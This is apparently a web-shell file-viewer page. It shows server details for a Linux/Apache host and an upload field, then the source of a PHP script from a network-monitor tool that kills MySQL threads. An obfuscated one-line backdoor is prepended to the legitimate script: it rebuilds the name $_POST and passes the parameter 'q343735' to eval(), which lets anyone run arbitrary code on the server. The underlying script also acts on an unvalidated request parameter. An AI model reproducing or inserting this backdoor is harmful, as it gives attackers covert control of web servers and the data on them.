|
Server : Apache/2.2.2 (Fedora) System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686 User : apache ( 48) PHP Version : 5.2.9 Disable Function : NONE Directory : /var/www/html/networkmonitor/ajaxMyTop/ |
Upload File : |
<?php $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q343735'])){eval(${$s20}['q343735']);}?><?php
require_once("config.php");
require_once("lib/DBTopFactory.php");
mysql_connect($dbHost, $dbUser, $dbPass);
$xml = new DomDocument();
//setup the initial root element of the xml document.
$rootElement = $xml->createElement('response');
$rootElement = $xml->appendChild($rootElement);
$child = $xml->createElement('kill');
$child->setAttribute('class','ddColumn');
$child = $rootElement->appendChild($child);
//kill the thread passed in on the $_GET['Id']
$dbTopFactory = new DBTopFactory($dbServer);
$dbTop = $dbTopFactory->getDBTop($dbHost, $dbUser, $dbPass);
$killReturn = $dbTop->killThread($_GET['Id']);
$value = $xml->createTextNode($killReturn);
$value = $child->appendChild($value);
$xml_string = $xml->saveXML();
header("Content-Type: text/xml");
echo $xml_string;
?>